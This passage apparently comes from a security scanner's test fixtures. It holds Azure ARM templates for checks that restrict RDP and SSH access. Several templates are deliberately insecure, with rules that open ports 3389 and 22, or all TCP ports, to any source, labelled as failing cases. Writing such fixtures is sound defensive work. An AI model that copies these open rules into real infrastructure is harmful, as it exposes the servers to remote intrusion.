\"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"osType\": {\n      \"publisher\": \"Canonical\",\n      \"offer\": \"UbuntuServer\",\n      \"sku\": \"[parameters('ubuntuOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    },\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"comments\": \"Wildcard protocol rule\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-3389\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"3389\",\n              \"protocol\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('jumpBoxSAName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"accountType\": \"[variables('storageAccountType')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('longNamingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('jumpBoxNicName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\",\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[variables('jumpBoxIPConfigName')]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('jumpBoxName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]\",\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSku')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('jumpBoxName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"[variables('namingInfix')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n            \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        }\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[parameters('webServerNsgName')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"DefaultDeny\",\n            \"properties\": {\n              \"description\": \"Denies all inbound traffic not matched by a previous rule\",\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Deny\",\n              \"priority\": 4096,\n              \"direction\": \"Inbound\"\n            }\n          }\n        ]\n      }\n    },\n\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allowAllFromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": \"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"*\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleRDPAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allow443FromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": \"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"443\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vmSku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_A1\",\n      \"metadata\": {\n        \"description\": \"Size of VMs in the VM Scale Set.\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"14.04.4-LTS\",\n      \"allowedValues\": [\n        \"16.04-LTS\",\n        \"14.04.4-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values are: 16.04-LTS, 14.04.4-LTS.\"\n      }\n    },\n    \"vmssName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"String used as a base for naming resources. Must be 3-61 characters in length and globally unique across Azure. A hash is prepended to this string for some resources, and resource-specific information is appended.\"\n      },\n      \"maxLength\": 61\n    },\n    \"instanceCount\": {\n      \"type\": \"int\",\n      \"metadata\": {\n        \"description\": \"Number of VM instances (100 or less).\"\n      },\n      \"maxValue\": 100\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Admin username on all VMs.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"sshPublicKey\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"namingInfix\": \"[toLower(substring(concat(parameters('vmssName'), uniqueString(resourceGroup().id)), 0, 9))]\",\n    \"longNamingInfix\": \"[toLower(parameters('vmssName'))]\",\n    \"jumpBoxName\": \"[concat(variables('namingInfix'), 'jbox')]\",\n    \"jumpBoxSAName\": \"[concat(uniqueString(concat(resourceGroup().id, variables('newStorageAccountSuffix'), 'jumpboxsa')), 'jb')]\",\n    \"jumpBoxOSDiskName\": \"[concat(variables('jumpBoxName'), 'osdisk')]\",\n    \"jumpBoxVHDContainerName\": \"[concat(variables('jumpBoxName'), 'vhd')]\",\n    \"jumpBoxIPConfigName\": \"[concat(variables('jumpBoxName'), 'ipconfig')]\",\n    \"jumpBoxNicName\": \"[concat(variables('jumpBoxName'), 'nic')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"newStorageAccountSuffix\": \"[concat(variables('namingInfix'), 'sa')]\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnetPrefix\": \"10.0.0.0/24\",\n    \"virtualNetworkName\": \"[concat(variables('namingInfix'), 'vnet')]\",\n    \"subnetName\": \"[concat(variables('namingInfix'), 'subnet')]\",\n    \"subnetRef\": \"[resourceId('Microsoft.Network/virtualNetworks/subnets', variables('virtualNetworkName'), variables('subnetName'))]\",\n    \"publicIPAddressName\": \"[concat(variables('namingInfix'), 'pip')]\",\n    \"nicName\": \"[concat(variables('namingInfix'), 'nic')]\",\n    \"ipConfigName\": \"[concat(variables('namingInfix'), 'ipconfig')]\",\n    \"osType\": {\n      \"publisher\": \"Canonical\",\n      \"offer\": \"UbuntuServer\",\n      \"sku\": \"[parameters('ubuntuOSVersion')]\",\n      \"version\": \"latest\"\n    },\n    \"imageReference\": \"[variables('osType')]\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    },\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n    {\n      \"comments\": \"Default Network Security Group for template\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-22\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"22\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"comments\": \"Wildcard protocl rule\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-08-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-22\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"22\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('virtualNetworkName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n      ],\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[variables('addressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[variables('subnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('subnetPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', variables('networkSecurityGroupName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": \"[variables('jumpBoxSAName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2015-06-15\",\n      \"properties\": {\n        \"accountType\": \"[variables('storageAccountType')]\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('publicIPAddressName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[variables('longNamingInfix')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('jumpBoxNicName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-04-01\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/publicIPAddresses/', variables('publicIPAddressName'))]\",\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"[variables('jumpBoxIPConfigName')]\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses',variables('publicIPAddressName'))]\"\n              },\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('jumpBoxName')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Storage/storageAccounts/', variables('jumpBoxSAName'))]\",\n        \"[concat('Microsoft.Network/networkInterfaces/', variables('jumpBoxNicName'))]\"\n      ],\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSku')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('jumpBoxName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": \"[variables('imageReference')]\",\n          \"osDisk\": {\n            \"name\": \"[concat(variables('jumpBoxOSDiskName'),'_OSDisk')]\",\n            \"caching\": \"ReadWrite\",\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',variables('jumpBoxNicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[concat('http://',variables('jumpBoxSAName'),'.blob.core.windows.net')]\"\n          }\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"[variables('namingInfix')]\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2017-03-30\",\n      \"dependsOn\": [\n        \"[concat('Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'))]\"\n      ],\n      \"sku\": {\n        \"name\": \"[parameters('vmSku')]\",\n        \"tier\": \"Standard\",\n        \"capacity\": \"[parameters('instanceCount')]\"\n      },\n      \"properties\": {\n        \"overprovision\": \"true\",\n        \"upgradePolicy\": {\n          \"mode\": \"Manual\"\n        },\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": \"[variables('imageReference')]\"\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"[variables('namingInfix')]\",\n            \"adminUsername\": \"[parameters('adminUsername')]\",\n            \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n            \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), json('null'), variables('linuxConfiguration'))]\"\n          },\n          \"networkProfile\": {\n            \"networkInterfaceConfigurations\": [\n              {\n                \"name\": \"[variables('nicName')]\",\n                \"properties\": {\n                  \"primary\": true,\n                  \"ipConfigurations\": [\n                    {\n                      \"name\": \"[variables('ipConfigName')]\",\n                      \"properties\": {\n                        \"subnet\": {\n                          \"id\": \"[concat('/subscriptions/', subscription().subscriptionId,'/resourceGroups/', resourceGroup().name, '/providers/Microsoft.Network/virtualNetworks/', variables('virtualNetworkName'), '/subnets/', variables('subnetName'))]\"\n                        }\n                      }\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-RULE-1Pass-1Fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[parameters('webServerNsgName')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"DefaultDeny\",\n            \"properties\": {\n              \"description\": \"Denies all inbound traffic not matched by a previous rule\",\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Deny\",\n              \"priority\": 4096,\n              \"direction\": \"Inbound\"\n            }\n          }\n        ]\n      }\n    },\n\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allowAllFromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": \"2019-11-01\",\n      \"properties\": {\n        \"description\": \"nsgRuleDescription\",\n        \"protocol\": \"tcp\",\n        \"sourcePortRange\": \"*\",\n        \"destinationPortRange\": \"*\",\n        \"sourceAddressPrefix\": \"[parameters('testRunnerIpRange')]\",\n        \"destinationAddressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n        \"access\": \"Allow\",\n        \"priority\": 100,\n        \"direction\": \"Inbound\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_NSGRuleSSHAccessRestricted/NSGRulePortAccessRestricted-RULE-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json\",\n  \"contentVersion\": \"0.0.0.1\",\n  \"parameters\": {\n    \"vnetName\": {\n      \"type\": \"string\"\n    },\n    \"vnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n\n    \"webServerSubnetName\": {\n      \"type\": \"string\"\n    },\n    \"webServerSubnetAddressPrefix\": {\n      \"type\": \"string\"\n    },\n    \"webServerNsgName\": {\n      \"type\": \"string\"\n    },\n    \"testRunnerIpRange\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"*\"\n    }\n  },\n  \"resources\": [\n    {\n      \"name\": \"[parameters('vnetName')]\",\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2019-11-01\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"[parameters('vnetAddressPrefix')]\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"[parameters('webServerSubnetName')]\",\n            \"properties\": {\n              \"addressPrefix\": \"[parameters('webServerSubnetAddressPrefix')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', parameters('webServerNsgName'))]\"\n              }\n            }\n          }\n        ]\n      }\n    },\n    {\n      \"name\": \"[concat(parameters('webServerNsgName'),'/allow443FromAll')]\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups/securityRules\",\n      \"location\": \"[resourceGroup().location]\",\n      \"dependsOn\": [\n        \"[parameters('webServerNsgName')]\"\n      ],\n      \"condition\": \"[greater(length(parameters('testRunnerIpRange')),0)]\",\n\n      \"apiVersion\": 